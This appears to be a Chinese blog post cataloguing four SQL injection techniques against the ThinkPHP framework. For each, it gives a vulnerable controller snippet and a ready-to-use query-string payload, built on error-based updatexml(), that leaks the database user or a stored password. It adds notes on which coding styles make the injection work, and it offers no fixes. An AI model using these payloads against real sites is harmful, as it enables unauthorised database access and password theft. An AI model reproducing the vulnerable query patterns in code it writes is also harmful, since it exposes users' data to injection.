0x1 源码写法
public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
exp
·
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)#
坑:
注意写法是
·
find(I('GET.id'))
在源码中,一般都是
·
M('users')->where('id',I('GET.id'))->find();
采用上面这种写法的话,find,select,delete这些常见方法都是可以注入的。
0x2
写法
·
public function index(){ $User = D('Users'); $map = array('id' => $_GET['id']); $user = $User->where($map)->find();}
exp:
·
id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
坑:
$User->where($map)
where传的是一个数组,而且数组必须可控,还必须是通过$_GET获取的,通过I助手函数获取的不会触发漏洞。
0x3
写法
·
public function index(){ $User = M("User"); $user['id'] = I('id'); $data['password'] = I('password'); $valu = $User->where($user)->save($data); var_dump($valu); }
exp
·
?id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
坑:
update注入,save方法才存在注入漏洞。
最关键的代码是$User->where($user),where里面要传入一个可控的数组才行。
常见的写法where('id',I('GET.id')),这种是触发不了漏洞的。
0x4
写法:
·
public function index(){ $User = M("User"); $order_by = I('get.order'); $q = $User->where('id','1')->order($order_by)->find(); var_dump($q); }
exp
·
?order[updatexml(1,concat(0x3a,user()),1)]
坑:
这个基本上没什么坑,order方法参数可控就可以注入。
苏公网安备 32132202001088号
| Copyright 北极熊 北格技术 版权所有